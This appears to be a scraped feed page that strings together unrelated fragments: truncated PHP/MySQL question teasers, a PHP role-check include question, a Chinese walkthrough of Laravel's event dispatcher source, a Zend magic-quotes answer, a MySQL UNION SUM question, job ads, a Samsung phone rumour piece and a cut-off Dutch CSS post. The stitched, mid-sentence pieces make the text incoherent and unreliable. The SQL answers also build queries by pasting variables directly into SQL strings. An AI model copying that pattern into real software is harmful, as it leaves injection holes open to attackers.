in php array fetch all rowsfrom mysql database and all values are showing into the single table td? i Want results like this? 1) Small 2) Large 3) Medium now problem is that all values displaying into single table td i want to display all of these va

mysql-query other condition of the PHP table

I have this table in mysql called safespot +---------+---------------+ | term_id | userid | safe | +---------+--------|------+ | 1 | 1 | large number, unix timestamp here | 1 | 2 | large number, unix timestamp here | 1 | 3 | large number, unix timest

layout of the grid of the php table

I wanted to fetch data inside PHP table in grid layout. So I made this code. I don't know what went wrong or if I am missing something. I wanted the table to have three columns but it shows the table in a single column. Any help will be appreciated.

to sort the data of the line in the PHP table?

i have a table being echo'd from a single query to a table in our database and i get it to echo out the following table; http://www.skulldogs.com/dev/testview.php i want it to sort the "yellow" rows under the correct green rows where the "m

Change the php table when the user check a box

I have a column that has a button that when pressed, links to a URL set in PHP. I want to add a checkbox next to that button so that if it's checked when a user presses the button, it will take them to an alternate url. The PHP code setting the url:

Sum of columns in the PHP table

I have an index.php with various SQL queries which helps me find the balances of the respective accounts. This is a TRIAL BALANCE so I need to SUM all the amount in the Debit Column and SUM all the amount in the Credit Column so that I can Tally both

Mysql Query with two php tables

I was wondering how to do a query with two tables in php? I have this single query ?php $sQuery = "Select * From tb_columnas Where col_Status='activo' Order by col_ID DESC"; $result = mysql_query($sQuery, $cnxMySQL) or die(mysql_error()); $rows_

How to extract specific data from the MySQL database to my PHP table?

I want to fetch data from MySQL database to my table in .php file. In every row of my table I want to display title, text and attachment($name) that user can download. The problem is when I display that, I get all attachments from database shown in l

Adding the DateDiff column to the PHP table using MySQLI

I'm trying to add a column to my database table that shows the difference between the timestamp and the current date. I've tried creating another query using DateDiff, but I'm not sure exactly what I'm doing wrong. Can anyone help? My code is below.

The data output of the PHP table does not maintain the structure

So I have a mySQL database, and I'm using PHP to grab it and display it in a HTML table. It's set up like this: <table> <tr> <td>Title 1</td> <td>Title 2</td> </tr> <?php $i=0; while ($i < $num) { $col1=mysq

Show columns with rows in the php table

Hey guys I need your help, I have this table and I want to shows like this FIDDLE, really I don't know how to do this because sometimes just exist two columns(prov_name ) and sometimes exist more that two rows please help me if you can ! Hope you und

Automatically generate field names from the PHP table

There is a problem of automatically retrieving field names from a MySQL table. If possible could the name be placed in this format along with the dynamically created text box? : The codes that I have created so far are located below: <?php include &quo


          Switch parameters to php include &sol; require a build      Cache   Translate Page      

I've read quite a few posts that are very similar to the question I'm about to ask, but I just wanted to be sure that there wasn't a more sophisticated way to do this. Any feedback is greatly appreciated.

I want to create a mechanism to check whether or not a logged-in user has access to the php script that is currently being called . If so, the script will continue on; if not, the script just fails out using something like die('you have no access') .

I came up with two ways of accomplishing this:

(please assume my session stuff is coded/working fine - i.e. I call session_start(), set up the session vars properly and etc)

Define a global variable first, then check the global variable in a required header file. For example:

Content of current_executing_script.php:

// the role the logged in user must have to continue on $roleNeedToAccessThisFile = 'r'; require 'checkRole.php''

Content of checkRole.php:

if ($_SESSION['user_role'] != $roleNeedToAccessThisFile) die('no access for you');

Define a function within the header file and call the function immediately after including/requiring it:

Content of checkRole.php:

function checkRole($roleTheUserNeedsToAccessTheFile) { return ($_SESSION['user_role'] == $roleTheUserNeedsToAccessTheFile); }

Content of current_executing_script.php:

require 'checkRole.php'; checkRole('r') or die('no access for you');

I'm wondering if there is a way to basically just pass a parameter to checkRole.php as part of the include or require construct?

Thanks in advance.

There isn't a way to pass parameters to include or require.

However the code that is included joins the program flow at the point where you include it, so it will inherit any variables that are in scope. So for example if you set $myflag=true immediately before the include, your included code will be able to check what $myflag is set to.

That said, I wouldn't suggest using that technique. Far better for your include file to contain functions (or a class) rather than code that gets run straight off. If you've included a file containing functions then you can call your functions with whatever parameters you want at any point in your program. It's much more flexible, and generally a better programming technique.

Hope that helps.


          Followone Inc. Switched From PHP to The Latest Version of Node.JS And React.JS.      Cache   Translate Page      
none
          扒一扒 EventServiceProvider 源代码      Cache   Translate Page      

有了之前的《简述 Laravel Model Events 的使用》 mp.weixin.qq.com/s/XrhDq1S5R… ,大致了解了 Event 的使用。

今天我们就来扒一扒 Event 的源码。

开始之前,需要说下两个 EventServiceProvider 的区别:

App\Providers\EventServiceProvider Illuminate\Events\EventServiceProvider

第一个 App\Providers\EventServiceProvider 主要是定义 event 和 listener 的关联;第二个 Illuminate\Events\EventServiceProvider 是 Laravel 的三大基础 ServiceProvider 之一,主要负责「分派」工作。

好了,下面开始具体的分析工作。

App\Providers\EventServiceProvider

主要是定义 event 和 listener 的关联,如:

<?php namespace App\Providers; use Illuminate\Support\Facades\Event; use Illuminate\Foundation\Support\Providers\EventServiceProvider as ServiceProvider; class EventServiceProvider extends ServiceProvider { /** * The event listener mappings for the application. * * @var array */ protected $listen = [ 'App\Events\RssPublicEvent' => [ 'App\Listeners\RssPublicListener1', ], 'App\Events\*Event' => [ 'App\Listeners\RssPublicListener2', 'App\Listeners\RssPublicListener3', ], 'Illuminate\Contracts\Broadcasting\ShouldBroadcast' => [ 'App\Listeners\RssPublicListener4', 'App\Listeners\RssPublicListener5', ], ]; /** * Register any events for your application. * * @return void */ public function boot() { parent::boot(); } } 复制代码

主要继承 Illuminate\Foundation\Support\Providers\EventServiceProvider :

<?php namespace Illuminate\Foundation\Support\Providers; use Illuminate\Support\Facades\Event; use Illuminate\Support\ServiceProvider; class EventServiceProvider extends ServiceProvider { /** * The event handler mappings for the application. * * @var array */ protected $listen = []; /** * The subscriber classes to register. * * @var array */ protected $subscribe = []; /** * Register the application's event listeners. * * @return void */ public function boot() { foreach ($this->listens() as $event => $listeners) { foreach ($listeners as $listener) { Event::listen($event, $listener); } } foreach ($this->subscribe as $subscriber) { Event::subscribe($subscriber); } } /** * {@inheritdoc} */ public function register() { // } /** * Get the events and handlers. * * @return array */ public function listens() { return $this->listen; } } 复制代码

把定义 event 和 listener 的关联交给用户自己去做,然后父类 EventServiceProvider 只是做关联工作,在 boot() 中:

public function boot() { foreach ($this->listens() as $event => $listeners) { foreach ($listeners as $listener) { Event::listen($event, $listener); } } foreach ($this->subscribe as $subscriber) { Event::subscribe($subscriber); } } 复制代码

这里主要看两个函数:

Event::listen($event, $listener); Event::subscribe($subscriber);

就这么简单,我们说完了第一个 EventServiceProvider ,我们开始第二个。

Illuminate\Events\EventServiceProvider

看过之前文章的知道, Event 有个全局函数:

Artisan::command('public_echo', function () { event(new RssPublicEvent()); })->describe('echo demo'); ... if (! function_exists('event')) { /** * Dispatch an event and call the listeners. * * @param string|object $event * @param mixed $payload * @param bool $halt * @return array|null */ function event(...$args) { return app('events')->dispatch(...$args); } } 复制代码

而 Illuminate\Events\EventServiceProvider ,是 Laravel 三个基础 ServiceProvider 之一:

/** * Register all of the base service providers. * * @return void */ protected function registerBaseServiceProviders() { $this->register(new EventServiceProvider($this)); $this->register(new LogServiceProvider($this)); $this->register(new RoutingServiceProvider($this)); } 复制代码

我们接着看 Illuminate\Events\EventServiceProvider :

<?php namespace Illuminate\Events; use Illuminate\Support\ServiceProvider; use Illuminate\Contracts\Queue\Factory as QueueFactoryContract; class EventServiceProvider extends ServiceProvider { /** * Register the service provider. * * @return void */ public function register() { $this->app->singleton('events', function ($app) { return (new Dispatcher($app))->setQueueResolver(function () use ($app) { return $app->make(QueueFactoryContract::class); }); }); } } 复制代码

它注册了单例形式,并创建和返回 Dispatcher 对象:

use Illuminate\Contracts\Events\Dispatcher as DispatcherContract; use Illuminate\Contracts\Broadcasting\Factory as BroadcastFactory; use Illuminate\Contracts\Container\Container as ContainerContract; class Dispatcher implements DispatcherContract { /** * The IoC container instance. * * @var \Illuminate\Contracts\Container\Container */ protected $container; /** * The registered event listeners. * * @var array */ protected $listeners = []; /** * The wildcard listeners. * * @var array */ protected $wildcards = []; /** * The queue resolver instance. * * @var callable */ protected $queueResolver; ... } 复制代码

主要实现 Dispatcher 接口:

<?php namespace Illuminate\Contracts\Events; interface Dispatcher { /** * Register an event listener with the dispatcher. * * @param string|array $events * @param mixed $listener * @return void */ public function listen($events, $listener); /** * Determine if a given event has listeners. * * @param string $eventName * @return bool */ public function hasListeners($eventName); /** * Register an event subscriber with the dispatcher. * * @param object|string $subscriber * @return void */ public function subscribe($subscriber); /** * Dispatch an event until the first non-null response is returned. * * @param string|object $event * @param mixed $payload * @return array|null */ public function until($event, $payload = []); /** * Dispatch an event and call the listeners. * * @param string|object $event * @param mixed $payload * @param bool $halt * @return array|null */ public function dispatch($event, $payload = [], $halt = false); /** * Register an event and payload to be fired later. * * @param string $event * @param array $payload * @return void */ public function push($event, $payload = []); /** * Flush a set of pushed events. * * @param string $event * @return void */ public function flush($event); /** * Remove a set of listeners from the dispatcher. * * @param string $event * @return void */ public function forget($event); /** * Forget all of the queued listeners. * * @return void */ public function forgetPushed(); } 复制代码

下面我们来解说每一个函数。

listen() Register an event listener with the dispatcher. public function listen($events, $listener) { foreach ((array) $events as $event) { if (Str::contains($event, '*')) { $this->wildcards[$event][] = $this->makeListener($listener, true); } else { $this->listeners[$event][] = $this->makeListener($listener); } } } 复制代码

这就好理解了,把通配符的放在 wildcards 数组中,另一个放在 listeners 数组中。接下来看函数 makeListener() 。

public function makeListener($listener, $wildcard = false) { if (is_string($listener)) { return $this->createClassListener($listener, $wildcard); } return function ($event, $payload) use ($listener, $wildcard) { if ($wildcard) { return $listener($event, $payload); } return $listener(...array_values($payload)); }; } 复制代码

如果传入的 $listener 为字符串,则执行函数 createClassListener :

public function createClassListener($listener, $wildcard = false) { return function ($event, $payload) use ($listener, $wildcard) { if ($wildcard) { return call_user_func($this->createClassCallable($listener), $event, $payload); } return call_user_func_array( $this->createClassCallable($listener), $payload ); }; } 复制代码

先来看看函数 createClassCallable() :

protected function createClassCallable($listener) { list($class, $method) = Str::parseCallback($listener, 'handle'); if ($this->handlerShouldBeQueued($class)) { return $this->createQueuedHandlerCallable($class, $method); } return [$this->container->make($class), $method]; } 复制代码

第一个函数还是很好理解:

public static function parseCallback($callback, $default = null) { return static::contains($callback, '@') ? explode('@', $callback, 2) : [$callback, $default]; } 复制代码

就看传入的 listener 是不是 class@method 结构,如果是就用 @ 分割,否则就默认的就是 class 类名,然后 method 就是默认的 handle 函数 ―― 这也是我们创建 Listener 类提供的做法。

接着就看是否可以放入队列中:

protected function handlerShouldBeQueued($class) { try { return (new ReflectionClass($class))->implementsInterface( ShouldQueue::class ); } catch (Exception $e) { return false; } } 复制代码

也就判断该 listener 类是否实现了接口类 ShouldQueue 。如果实现了,则可以将该类放入队列中 (返回闭包函数):

protected function createQueuedHandlerCallable($class, $method) { return function () use ($class, $method) { $arguments = array_map(function ($a) { return is_object($a) ? clone $a : $a; }, func_get_args()); if ($this->handlerWantsToBeQueued($class, $arguments)) { $this->queueHandler($class, $method, $arguments); } }; } 复制代码

我们接着看 handlerWantsToBeQueued :

protected function handlerWantsToBeQueued($class, $arguments) { if (method_exists($class, 'shouldQueue')) { return $this->container->make($class)->shouldQueue($arguments[0]); } return true; } 复制代码

所以说,如果在 listener 类中写了 shouldQueue 方法,则就看该方法是不是返回 true 或者 false 来决定是否放入队列中:

protected function queueHandler($class, $method, $arguments) { list($listener, $job) = $this->createListenerAndJob($class, $method, $arguments); $connection = $this->resolveQueue()->connection( $listener->connection ?? null ); $queue = $listener->queue ?? null; isset($listener->delay) ? $connection->laterOn($queue, $listener->delay, $job) : $connection->pushOn($queue, $job); } 复制代码

*注:*和队列相关的放在之后再做分析,此处省略

好了,回到开始的地方:

// createClassCallable($listener) return [$this->container->make($class), $method]; 复制代码

到此,也就明白了,如果是 通配符 的,则对应的执行函数 (默认的为: handle ) 传入的参数有两个: $event 事件对象和 $payload ;否则对应执行函数,传入的参数就只有一个了: $payload 。

同理,如果传入的 listener 是个函数的话,返回的闭包就这样的:

return function ($event, $payload) use ($listener, $wildcard) { if ($wildcard) { return $listener($event, $payload); } return $listener(...array_values($payload)); }; 复制代码 整个流程就通了, listener 函数的作用就是:在 Dispatcher 中的 $listeners 和 $wildcards 的数组中,存储 ['event' => Callback] 的结构数组,以供执行使用。

说完了第一个函数 Event::listen() ,第二个函数了: Event::subscribe() ,留着之后再说。

好了,整个 event 和 listener 就关联在一起了。接下来就开始看执行方法了。

dispatch() Dispatch an event and call the listeners.

正如上文的 helpers 定义的,所有 Event 都是通过该函数进行「分发」事件和调用所关联的 listeners :

/** * Fire an event and call the listeners. * * @param string|object $event * @param mixed $payload * @param bool $halt * @return array|null */ public function dispatch($event, $payload = [], $halt = false) { // When the given "event" is actually an object we will assume it is an event // object and use the class as the event name and this event itself as the // payload to the handler, which makes object based events quite simple. list($event, $payload) = $this->parseEventAndPayload( $event, $payload ); if ($this->shouldBroadcast($payload)) { $this->broadcastEvent($payload[0]); } $responses = []; foreach ($this->getListeners($event) as $listener) { $response = $listener($event, $payload); // If a response is returned from the listener and event halting is enabled // we will just return this response, and not call the rest of the event // listeners. Otherwise we will add the response on the response list. if ($halt && ! is_null($response)) { return $response; } // If a boolean false is returned from a listener, we will stop propagating // the event to any further listeners down in the chain, else we keep on // looping through the listeners and firing every one in our sequence. if ($response === false) { break; } $responses[] = $response; } return $halt ? null : $responses; } 复制代码

先理解注释的函数 parseEventAndPayload() :

When the given "event" is actually an object we will assume it is an event object and use the class as the event name and this event itself as the payload to the handler, which makes object based events quite simple. protected function parseEventAndPayload($event, $payload) { if (is_object($event)) { list($payload, $event) = [[$event], get_class($event)]; } return [$event, Arr::wrap($payload)]; } 复制代码 如果 $event 是个对象,则将 $event 的类名作为事件的名称,并将该事件 [$event] 作为 $payload 。

接着判断 $payload 是否可以「广播」出去,如果可以,那就直接广播出去:

protected function shouldBroadcast(array $payload) { return isset($payload[0]) && $payload[0] instanceof ShouldBroadcast && $this->broadcastWhen($payload[0]); } 复制代码

就拿上文的例子来说吧:

<?php namespace App\Events; use Carbon\Carbon; use Illuminate\Broadcasting\Channel; use Illuminate\Queue\SerializesModels; use Illuminate\Broadcasting\PrivateChannel; use Illuminate\Broadcasting\PresenceChannel; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; class RssPublicEvent implements ShouldBroadcast { use Dispatchable, InteractsWithSockets, SerializesModels; /** * Create a new event instance. * * @return void */ public function __construct() { // } /** * Get the channels the event should broadcast on. * * @return \Illuminate\Broadcasting\Channel|array */ public function broadcastOn() { return new Channel('public_channel'); } /** * 指定广播数据。 * * @return array */ public function broadcastWith() { // 返回当前时间 return ['name' => 'public_channel_'.Carbon::now()->toDateTimeString()]; } } 复制代码

首先它实现接口 ShouldBroadcast ,然后看是不是还有额外的条件来决定是否可以广播:

/** * Check if event should be broadcasted by condition. * * @param mixed $event * @return bool */ protected function broadcastWhen($event) { return method_exists($event, 'broadcastWhen') ? $event->broadcastWhen() : true; } 复制代码

由于本实例没有实现 broadcastWhen 方法,所以返回默认值 true 。

所以可以将本实例广播出去:

/** * Broadcast the given event class. * * @param \Illuminate\Contracts\Broadcasting\ShouldBroadcast $event * @return void */ protected function broadcastEvent($event) { $this->container->make(BroadcastFactory::class)->queue($event); } 复制代码

这就交给 BroadcastManager 来处理了,此文不再继续深挖。

注 :下篇文章我们再来扒一扒 BroadcastManager 源码

当把事件广播出去后,我们就开始执行该事件的各个监听了。通过之前的文章知道,一个 Event ,不止一个 Listener 监听,所以需要通过一个 foreach 循环来遍历执行 Listener ,首先获取这些 Listener :

/** * Get all of the listeners for a given event name. * * @param string $eventName * @return array */ public function getListeners($eventName) { $listeners = $this->listeners[$eventName] ?? []; $listeners = array_merge( $listeners, $this->getWildcardListeners($eventName) ); return class_exists($eventName, false) ? $this->addInterfaceListeners($eventName, $listeners) : $listeners; } 复制代码

该方法主要通过三种方式累加获取所有 listeners :该类中的属性: $listeners 和 $wildcards ,以及如果该 $event 是个对象的,还包括该类的所有接口关联的 listeners 数组。

protected function addInterfaceListeners($eventName, array $listeners = []) { foreach (class_implements($eventName) as $interface) { if (isset($this->listeners[$interface])) { foreach ($this->listeners[$interface] as $names) { $listeners = array_merge($listeners, (array) $names); } } } return $listeners; } 复制代码

*注:*class_implements ― 返回指定的类实现的所有接口。

接下来就是执行每个 listener 了:

$response = $listener($event, $payload); // If a response is returned from the listener and event halting is enabled // we will just return this response, and not call the rest of the event // listeners. Otherwise we will add the response on the response list. if ($halt && ! is_null($response)) { return $response; } // If a boolean false is returned from a listener, we will stop propagating // the event to any further listeners down in the chain, else we keep on // looping through the listeners and firing every one in our sequence. if ($response === false) { break; } $responses[] = $response; 复制代码

由上文可以知道 $listener ,实际上就是一个闭包函数,最终的结果相当于执行 handle 函数:

public function handle(RssPublicEvent $event) { info('listener 1'); } ... public function handle(RssPublicEvent $event, array $payload) { info('listener 2'); } 复制代码 写个 demo

我们写个 demo ,在 EventServiceProvider 的 listen 数组,填入这三种方式的关联情况:

protected $listen = [ 'App\Events\RssPublicEvent' => [ 'App\Listeners\RssPublicListener1', ], 'App\Events\*Event' => [ 'App\Listeners\RssPublicListener2', 'App\Listeners\RssPublicListener3', ], 'Illuminate\Contracts\Broadcasting\ShouldBroadcast' => [ 'App\Listeners\RssPublicListener4', 'App\Listeners\RssPublicListener5', ], ]; 复制代码

然后在每个 RssPublicListener* 的 handle 方法输出对应的值,最后运行 php artisan public_echo ,看结果:

[2018-10-06 20:05:57] local.INFO: listener 1 [2018-10-06 20:05:58] local.INFO: listener 2 [2018-10-06 20:05:59] local.INFO: listener 3 [2018-10-06 20:05:59] local.INFO: listener 4 [2018-10-06 20:06:00] local.INFO: listener 5 复制代码 其他函数

说完了执行函数,基本上也就说完了整个 Event 事件流程了。剩下的只有一些附属函数,一看基本都理解:

/** * Register an event and payload to be fired later. * * @param string $event * @param array $payload * @return void */ public function push($event, $payload = []) { $this->listen($event.'_pushed', function () use ($event, $payload) { $this->dispatch($event, $payload); }); } /** * Flush a set of pushed events. * * @param string $event * @return void */ public function flush($event) { $this->dispatch($event.'_pushed'); } /** * Determine if a given event has listeners. * * @param string $eventName * @return bool */ public function hasListeners($eventName) { return isset($this->listeners[$eventName]) || isset($this->wildcards[$eventName]); } /** * Fire an event until the first non-null response is returned. * * @param string|object $event * @param mixed $payload * @return array|null */ public function until($event, $payload = []) { return $this->dispatch($event, $payload, true); } /** * Remove a set of listeners from the dispatcher. * * @param string $event * @return void */ public function forget($event) { if (Str::contains($event, '*')) { unset($this->wildcards[$event]); } else { unset($this->listeners[$event]); } } /** * Forget all of the pushed listeners. * * @return void */ public function forgetPushed() { foreach ($this->listeners as $key => $value) { if (Str::endsWith($key, '_pushed')) { $this->forget($key); } } } 复制代码 总结

对 Event 做了比较详细的梳理,大致了解了它的整个流程,下一步就是看看怎么和队列结合在一起,和利用「观察者模式」的那部分代码逻辑了。


          Zend Framework content strange      Cache   Translate Page      

Hi, I have this Zend_Form and it's value get changed.

My input text in the form gets modified like for example:

instead of the text It's a great day I get It\'s a great day

I use

$name = new Zend_Form_Element_Text('name'); $name->setRequired(true); $name->setFilters(array('StringTrim', 'StripTags')); $name->setDecorators(array( 'Errors', 'viewHelper', ));

How can I fix this?

This is due to your php uses magic quoting.

Check if get_magic_quotes_gpc() returns TRUE. If it does then \ ' " & chars in GET and POST request data will get escaped with \ .

To counter that you must use additional filter function like stripslashes() or follow this example to do it properly in Zend Framework: http://blog.philipbrown.id.au/2008/10/zend-framework-forms-and-magic_quotes_gpc/

// Appendix:

On your local machine you can do what the Sudhir explained in his answer, but on a shared hosting that might not be possible unless you have access to php.ini file or PHP is loaded as Apache module (mod_php/mod_php5)


          MySql &sol; PHP SUM 2 tables 1 query      Cache   Translate Page      

I have been having the most difficult time ever with this problem. I have 2 tables with total columns that I want to SUM together. They both have the same columns, I am using two tables as one is a script generated table of data and the other is user entered data and we need them separate. Except now we need to SUM(total) them together.

Table 1 +-----------+-----+--------+------+ | date |t_id | t_port | total| +-----------+-----+--------+------+ |2012-04-01 | 1271| 101 | 80.00| +-----------+-----+--------+------+ Table 2 +----------+------+--------+-------+ | date | t_id | t_port | total | +----------+------+--------+-------+ |2012-04-20| 1271 | 101 | 120.00| +----------+------+--------+-------+

Total should be $200.00

HERE IS MY QUERY

"SELECT SUM(cntTotal) as total FROM CBS_WO WHERE (date BETWEEN '$monthSecond' AND '$monthEnd') AND t_port = '$t_port' AND t_id = '$t_id' UNION SELECT SUM(cntTotal) as total FROM CNT_MODS WHERE (date BETWEEN '$monthSecond' AND '$monthEnd') AND t_port = '$t_port' AND t_id = '$t_id'"

This query seems to work in phpMyAdmin as I get 2 rows. (1 for each table), logically I used a WHILE loop in PHP to add the two rows together. After echo'ing out each row manually I discovered my second row isn't showing up in the loop, yet it does in the query?

Can't figure out why this is happening, I am certain it's something silly but I been at this code for over 16hrs already and need a new set of eyes.

PHP CODE

function periodTotal() { include('/sql.login.php'); $t_id = "1271"; $t_port = "101"; $date = date("Y-m-d"); # FIND MONTH (DATE) $monthStart = date("Y-m-d", strtotime(date('m').'/01/'.date('Y').' 00:00:00')); $monthFirst = date("Y-m-d", strtotime('-1 second',strtotime('+15 days',strtotime(date('m').'/01/'.date('Y').' 00:00:00')))); $monthSecond = date("Y-m-d", strtotime('-1 second',strtotime('+16 days',strtotime(date('m').'/01/'.date('Y').' 00:00:00')))); $monthEnd = date("Y-m-d", strtotime('-1 second',strtotime('+1 month',strtotime(date('m').'/01/'.date('Y').' 00:00:00')))); if ($date = $monthFirst) { $sql = $dbh->prepare("SELECT SUM(cntTotal) as total FROM CBS_WO WHERE (date BETWEEN '$monthStart' AND '$monthFirst') AND t_port = '$t_port' AND t_id = '$t_id' UNION SELECT SUM(cntTotal) as total FROM CNT_MODS WHERE (date BETWEEN '$monthStart' AND '$monthFirst') AND t_port = '$t_port' AND t_id = '$t_id'"); $sql->execute(); } else { $sql = $dbh->prepare("SELECT SUM(cntTotal) as total FROM CBS_WO WHERE (date BETWEEN '$monthSecond' AND '$monthEnd') AND t_port = '$t_port' AND t_id = '$t_id' UNION SELECT SUM(cntTotal) as total FROM CNT_MODS WHERE (date BETWEEN '$monthSecond' AND '$monthEnd') AND t_port = '$t_port' AND t_id = '$t_id'"); $sql->execute(); } while($row = $sql->fetch(PDO::FETCH_ASSOC)) { $total += $row['total']; } return $total; }

Does this work for you?

SELECT SUM(`total`) as `total` FROM (( SELECT SUM(cntTotal) as total FROM CBS_WO WHERE (date BETWEEN '$monthSecond' AND '$monthEnd') AND t_port = '$t_port' AND t_id = '$t_id' ) UNION ( SELECT SUM(cntTotal) as total FROM CNT_MODS WHERE (date BETWEEN '$monthSecond' AND '$monthEnd') AND t_port = '$t_port' AND t_id = '$t_id'" )) as temp

This might be more efficient:

SELECT SUM(total) FROM ( SELECT cntTotal FROM CBS_WO WHERE (date BETWEEN '$monthSecond' AND '$monthEnd') AND t_port = '$t_port' AND t_id = '$t_id' ) UNION ( SELECT cntTotal FROM CNT_MODS WHERE (date BETWEEN '$monthSecond' AND '$monthEnd') AND t_port = '$t_port' AND t_id = '$t_id'" ) as temp

(only has one SUM ) but you'd have to test it.


          Human Resource Assistant - Baguio Ice Plant and Cold Storage Inc - Baguio      Cache   Translate Page      
*Job Summary* *HR ASSISTANT* A group of Baguio based companies is looking for an HR Assistant with the following qualifications: * Female * Graduate of... PHP 9,000 a month
From Indeed - Mon, 01 Oct 2018 01:43:08 GMT - View all Baguio jobs
          DUTY OFFICER - Tropical Focus Phils. Inc. - Baguio      Cache   Translate Page      
Coordinate with the chiller operator regarding the status of the plant. The role of the Duty Officer is (but not limited) to:.... PHP 15,000 - PHP 16,000 a month
From Indeed - Tue, 11 Sep 2018 08:48:58 GMT - View all Baguio jobs
          Broiler Technical Services Representative - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 05:15:58 GMT - View all Isabela jobs
          Sales Specialist - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 04:55:36 GMT - View all Isabela jobs
          Soil and Plant Analyst - Hijo International Trading Singapore Pte. Ltd - Surigao City      Cache   Translate Page      
College Degree in Agriculture (Soil and Plant Tech/ entomologist, soil science and the like). Must be willing to work at Trento, Agusan del Sur.... PHP 12,000 - PHP 15,000 a month
From Indeed - Mon, 23 Jul 2018 06:38:41 GMT - View all Surigao City jobs
          Samsung Galaxy A9 Star Pro with Four Cameras at the Back Surfaces Ahead of Launch      Cache   Translate Page      
2018 has been the year of smartphones with triple rear cameras. I mean, earlier this year, Chinese mobile giant Huawei Technologies had a big hit with the best-selling Huawei P20 Pro, which - as of writing - still holds the crown as the best cameraphone in the world.

Just a few days ago, Korean Giant Samsung Mobile officially announced the Galaxy A7 2018, which sports three cameras at the back that let the device snap Wide-Angle landscape shots and portraits with Bokeh Effect through Live Focus mode.

Samsung Galaxy A9 Star Pro

Well, tomorrow - October 11, 2018 - in Malaysia, Samsung is slated to outdo its competitors in the mobile industry by formally announcing a new high-end Galaxy A-Series handset with an unbelievable four rear shooters!

Hardcore Samsung fans and self-proclaimed industry insiders are now calling this new Samsung smartphone model the "Samsung Galaxy A9 Star Pro" -- and what's cool is that purported press photos of this device have already started to surface in various social media sites.

Looking at the these images, it's clear that this new smartphone will have a luxurious glass-metal-glass design language, a large display with tall aspect ratio and no notch, and a four cameras at the back that are all lined vertically.

Samsung Galaxy A9 Star Pro

According to various sources, other notable technical specifications of Samsung Galaxy A9 Star Pro include a 6.28-inch FullHD+ SuperAMOLED Infinity Display, 24 MegaPixel f/2.0 Front Facing Camera for Selfies, and a powerful 14nm Octa-Core Qualcomm Snapdragon 660 processor.

So what can its four cameras at the back do, you ask? I heard that this unique set-up will let this cameraphone shoot wide-angle landscape images, take portrait shots with Bokeh Effect, and deliver 2X lossless zoom through its telephoto lens. If this information will turn out accurate, Samsung Galaxy A9 Star Pro could very well be the most versatile cameraphone that the company has ever released.

How much will it be? We'll know the exact amount on October 11, 2018. Right now, I'm guessing that this model should cost no less than PHP 35,000 - perhaps even closer to PHP 40,000 - when it lands in the Philippines since the Samsung Galaxy A8+ 2018 still costs PHP 32,990 in our country. But hey, that's just my price guesstimate and honestly, I'm hoping that will be more affordable because this phone does look very interesting. Stay tuned for updates!

          Sistema administrador de stock de inventario       Cache   Translate Page      
Necesito un sitio web nuevo. Ya tengo una base de datos, solo necesito que crees un sitio web para mi pequeña empresa. Con arquitectura mvc y utilizando php puro JavaScript html bootstrap, la db es mysql... (Budget: $10 - $30 USD, Jobs: AJAX, Graphic Design, MySQL, PHP, Website Design)
          Building a PHP base website      Cache   Translate Page      
1) PHP base CMS with mysql, suggestion Drupal 2) Need to consume existing site migrated content through JSON flat file from another CMS "CoreMedia" (Phase 1) 3) with forum and marketplace (Phase 2 & 3)... (Budget: $1500 - $3000 SGD, Jobs: Drupal, HTML, MySQL, PHP, Website Design)
          Sistema administrador de stock de inventario       Cache   Translate Page      
Necesito un sitio web nuevo. Ya tengo una base de datos, solo necesito que crees un sitio web para mi pequeña empresa. Con arquitectura mvc y utilizando php puro JavaScript html bootstrap, la db es mysql... (Budget: $10 - $30 USD, Jobs: AJAX, Graphic Design, MySQL, PHP, Website Design)
          Building a PHP base website      Cache   Translate Page      
1) PHP base CMS with mysql, suggestion Drupal 2) Need to consume existing site migrated content through JSON flat file from another CMS "CoreMedia" (Phase 1) 3) with forum and marketplace (Phase 2 & 3)... (Budget: $1500 - $3000 SGD, Jobs: Drupal, HTML, MySQL, PHP, Website Design)
          Back end Developer      Cache   Translate Page      
At least 2-4 years of experience with backend development 2-4 years of experience with PHP Experience working with API’s Strong understanding of Amazon S3 and its capabilities Understanding of Laravel... (Budget: $750 - $1500 USD, Jobs: CSS, HTML, Javascript, PHP, Website Design)
          PHP Developer - Bkom - Québec City, QC      Cache   Translate Page      
Does Hasbro, Disney, Lego and Wizards of the Coast ring a bell? Located in the beautiful city of Quebec (Canada), BKOM Studios is a full-service digital studio...
From Bkom - Sat, 01 Sep 2018 06:11:43 GMT - View all Québec City, QC jobs
          Développeur PHP - Bkom - Québec City, QC      Cache   Translate Page      
Est-ce que Hasbro, Disney, Lego et Wizards of the Coast te disent quelque chose ? Situé dans la magnifique ville de Québec (Canada), BKOM Studios offre un...
From Bkom - Sat, 01 Sep 2018 06:11:29 GMT - View all Québec City, QC jobs
          PHP - Module Lead - Mphasis - Bengaluru, Karnataka      Cache   Translate Page      
Total 6 – 8 years related experience in IT • Professional experience in PHP/MySQL (LAMP) stack development – 5 years ( 7 for senior) • Professional experience...
From Mphasis - Thu, 27 Sep 2018 12:28:53 GMT - View all Bengaluru, Karnataka jobs
          [CSS] Tekst vergroten      Cache   Translate Page      
Replies: 4 Last poster: CH4OS at 10-10-2018 00:46 Topic is Open Frozen schreef op woensdag 10 oktober 2018 @ 00:43: Dankjewel, dat werkte inderdaad. Het enige probleem is dus nu, omdat eigenlijk alles in verschillende .elementor-widget-containers zit dat alle "
